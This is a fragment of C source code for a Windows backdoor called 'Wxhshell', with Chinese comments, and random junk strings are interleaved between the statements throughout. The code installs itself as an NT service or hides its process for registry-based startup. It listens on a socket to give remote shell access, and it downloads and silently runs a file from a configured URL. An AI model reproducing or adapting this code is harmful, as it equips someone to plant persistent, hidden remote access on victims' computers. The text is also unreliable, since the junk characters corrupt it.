HMODULE hMod; ~ \3j{pr char procName[255]; :p0<AU47 unsigned long cbNeeded; 1MYA/l$ 9~|hGo if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gbr-C <c_'(
CloseHandle(hProcess); !wr2OxK* ?@iGECll if(strstr(procName,"services")) return 1; // 以服务启动 ATkx_1]KM- ]s>y se return 0; // 注册表启动 <F&53N&Zc } 0`~#H1TK sV$Zf
`X) // 主模块 L!:8yJK int StartWxhshell(LPSTR lpCmdLine) 9]u=b\fzZ { 9i9'Rd`g SOCKET wsl; (<bYoWrK# BOOL val=TRUE; e@6]rl int port=0; AkMP)\Q struct sockaddr_in door; 1f3c3PJ D\13fjjHlu if(wscfg.ws_autoins) Install(); Ez()W,6]g &m{SWV+ port=atoi(lpCmdLine); OKW}8 qM )P13AfK if(port<=0) port=wscfg.ws_port; &TgS$c5k mVaWbR@HS WSADATA data; G_ -8*. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E`0mn7.t RA];hQI? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k7L-J setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qdW"g$fW door.sin_family = AF_INET; ,J*C'#sW door.sin_addr.s_addr = inet_addr("127.0.0.1"); &\Ze<u door.sin_port = htons(port); 9~7s*3zI Am'%tw
~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7\0}te closesocket(wsl); I$0O4 return 1; T]_]{%z } NIo!WOi cFD3 if(listen(wsl,2) == INVALID_SOCKET) { =)c^ik%F& closesocket(wsl); mz>GbImVD~ return 1; EvP\;7B } VY#nSF` Wxhshell(wsl); n^lr7(!6 WSACleanup(); aPToP.e 7:C_{\( return 0; .&i_~?1[N <jAn~=Uq[, } =w5]o@ xYd]|y // 以NT服务方式启动 '< .gKo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >vPv4e7&3 { iSP}kM} DWORD status = 0; cjp~I/U DWORD specificError = 0xfffffff; vojXo|c |[_%zV;p>v serviceStatus.dwServiceType = SERVICE_WIN32; dW5@Z-9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; |!q,J serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }?)U`zF)7} serviceStatus.dwWin32ExitCode = 0; jO0"`|(]s serviceStatus.dwServiceSpecificExitCode = 0; 64UrD{$o serviceStatus.dwCheckPoint = 0; Y|!m serviceStatus.dwWaitHint = 0; ;#?G2AAv &[z<p hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XiMd|D if (hServiceStatusHandle==0) return; JfsvK2I )^`V{iD status = GetLastError(); K>vi9,4/ks if (status!=NO_ERROR) AM0CIRX$ { ()Q#@?c~ serviceStatus.dwCurrentState = SERVICE_STOPPED; tc0(G~.N serviceStatus.dwCheckPoint = 0; 9e*o$)j_ serviceStatus.dwWaitHint = 0; Itz[%Dbiq9 serviceStatus.dwWin32ExitCode = status; 9|WV28PK: serviceStatus.dwServiceSpecificExitCode = specificError; 4YSVy2x SetServiceStatus(hServiceStatusHandle, &serviceStatus); \iRmGvT return; ZmDM=qN } 4:=VHd 2YQ;Kh"S
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z*+y?5+L"P serviceStatus.dwCheckPoint = 0; J=J!)\m serviceStatus.dwWaitHint = 0; .lAPlJOO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tM|/OJ7 } R; ui
4wg6 TQtHU6 // 处理NT服务事件,比如:启动、停止 cGyR_8:2cv VOID WINAPI NTServiceHandler(DWORD fdwControl) VHi'~B#'* { P(UY}oU switch(fdwControl) p}Um+I=1 { PpLiH9} case SERVICE_CONTROL_STOP: ,A5}HRW% serviceStatus.dwWin32ExitCode = 0; ^3ai}Ei3 serviceStatus.dwCurrentState = SERVICE_STOPPED; u+O"c serviceStatus.dwCheckPoint = 0; "A*;V serviceStatus.dwWaitHint = 0; 0RjFa;j { /:v}Ni"6nF SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!HYx } r PTfwhs return; I
Z|EPzS case SERVICE_CONTROL_PAUSE: `An p;el serviceStatus.dwCurrentState = SERVICE_PAUSED; au]W*;x break; g~2=he\C case SERVICE_CONTROL_CONTINUE: 3 Q~0b+k serviceStatus.dwCurrentState = SERVICE_RUNNING; ($Op*bR break; d)3jkHYEjj case SERVICE_CONTROL_INTERROGATE: ^E_chx-e} break; ]T{v~]7:{ }; F|G v SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2*< PmKI } Vry*=X&Q AV4fN@BX // 标准应用程序主函数 MJ$.ST int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Av0(zA2 { B6j/"x6N15 liqVfB% // 获取操作系统版本 gi>W&6 OsIsNt=GetOsVer(); @r^s70{} GetModuleFileName(NULL,ExeFile,MAX_PATH); ]9~Il# >xA(*7 // 从命令行安装 /6F\]JwU if(strpbrk(lpCmdLine,"iI")) Install(); da~_(giD* -GMaK.4= // 下载执行文件 ,xR u74 if(wscfg.ws_downexe) { 5i}g$yjZ< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t>OEzUd9 WinExec(wscfg.ws_filenam,SW_HIDE); Q3Z?Z;2aR } PJ=| g7I bPif"dhHe if(!OsIsNt) { .'. bokl/ // 如果时win9x,隐藏进程并且设置为注册表启动 ]rSg,Q>E HideProc(); cv1PiIl StartWxhshell(lpCmdLine); ujl?! } K}MlC}oIt else `A5n6*A7 if(StartFromService()) >|`1aCg, // 以服务方式启动 ?bu=QV@ StartServiceCtrlDispatcher(DispatchTable); +J~%z*A else '@
p464 // 普通方式启动 9~$E+m( StartWxhshell(lpCmdLine); _mk@1ft x4MTE?hT return 0; miTff[hsMa }
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